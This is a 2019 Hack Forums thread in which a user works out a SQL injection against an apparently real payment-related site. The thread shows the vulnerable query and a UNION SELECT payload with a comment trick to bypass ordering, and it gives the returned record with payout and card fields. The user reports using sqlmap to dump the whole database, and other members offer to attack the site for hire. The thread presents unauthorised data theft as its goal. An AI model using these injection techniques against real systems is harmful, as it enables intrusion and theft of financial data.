

## Forum:[Hack Forums](#)

Thread: [tricky inject point](#)

**godjustice555** - June 23, 2019, 10:24 am

I have this statement

```
Code select * from `tablename` where `id` = 12345 and `created` > 2019-06-24 00:00:00  
and `created` < 2019-06-24 23:59:59 and chtcode IN(1) order by `id` desc limit 25
```

the id from the statement can't be modified as it is retrieve on server side using session stored in the server.

adding anything before or after the date doesn't work either.

the only injectable point, is the 1

i think i got it figured out...

# works at the end. and it can comment out the ordering

so i manage to snuck in a union.

but the output corresponding only to an integer and decimal

i can't get any string in the out put and am stuck again...

**Berry White** - June 23, 2019, 6:17 pm

(Jun 23, 2019 10:24 AM)godjustice555 Wrote: [\[CITE\]](#) I have this statement

```
Code select * from `tablename` where `id` = 12345 and `created` > 2019-06-24 00:00:00  
and `created` < 2019-06-24 23:59:59 and chtcode IN(1) order by `id` desc limit 25
```

the id from the statement can't be modified as it is retrieve on server side using session stored in the server.

adding anything before or after the date doesn't work either.

the only injectable point, is the 1

i think i got it figured out...

# works at the end. and it can comment out the ordering

so i manage to snuck in a union.

but the output corresponding only to an integer and decimal

i can't get any string in the out put and am stuck again...

Post website link or pm me, i'll try.

**godjustice555** - June 23, 2019, 8:32 pm

lol, this is just a discussion. not an open invitation for you to try.

and i'm not looking to hire for this.

thanks

back to the question. below is the injection i tried (where A is union and B is select)

```
Code record_type=1) A B
```

```
1099,'2','3',4,5,6,7,999.99,9,10,11,'12','13','14','15','16','17','18','19','20','21','22','23','24','25','26','27','28','29','30','31','32','33','34','35','36','37','38','39',40 #
```

i actually tried every single field with the quote, its not consistent in this example due to i'm unquoting it to test

my result is

Code {"id":"1099","created":"1970-01-01 07:30:37","status":null,"amount":"999.99","rejreason":"","type":"Payout","cardno":""}

**cogama** - June 23, 2019, 9:29 pm

Delete some PM's so I can message you.

**godjustice555** - June 23, 2019, 9:53 pm

anyway, i gotten sqlmap to work with post request parameter and its dumping the whole db... so keep this thread to manual injection discussion.

(Jun 23, 2019 09:29 PM)cogama Wrote: [\[CITE\]](#) Delete some PM's so I can message you. done

**PhoenixFire69** - June 24, 2019, 4:25 am

(Jun 23, 2019 08:32 PM)godjustice555 Wrote: [\[CITE\]](#) lol, this is just a discussion. not an open invitation for you to try.  
and i'm not looking to hire for this.  
thanks

back to the question. below is the injection i tried (where A is union and B is select)  
Code record\_type=1) A B  
1099,'2','3',4,5,6,7,999.99,9,10,11,'12','13','14','15','16','17','18','19','20','21','22','23','24','25','26','27','28','29','30','31','32','33','34','35','36','37','38','39',40 #  
i actually tried every single field with the quote, its not consistent in this example due to i'm unquoting it to test

my result is  
Code {"id":"1099","created":"1970-01-01 07:30:37","status":null,"amount":"999.99","rejreason":"","type":"Payout","cardno":""}  
That was the funniest shit I've ever read on HF. He fr tried to finesse you and your project xD

any way, what happened ? Did you  
Get what you wanted ?

**godjustice555** - June 24, 2019, 5:19 am

(Jun 24, 2019 04:25 AM)PhoenixFire69 Wrote: [\[CITE\]](#) That was the funniest shit I've ever read on HF. He fr tried to finesse you and your project xD

any way, what happened ? Did you  
Get what you wanted ?  
yup, got wat i wanted. but due to bloody cloudflare, the database dump is not smooth

**BMixer** - June 26, 2019, 2:42 am

Post website link or pm me, i'll try.

**boy rteis** - July 21, 2019, 10:27 am

(Jun 24, 2019 04:25 AM)PhoenixFire69 Wrote: [\[CITE\]](#) That was the funniest shit I've ever read on HF. He fr tried to finesse you and your project xD

any way, what happened ? Did you  
Get what you wanted ?

I need your help, PM me, because I am a new member, can not reply to you, please leave your contact information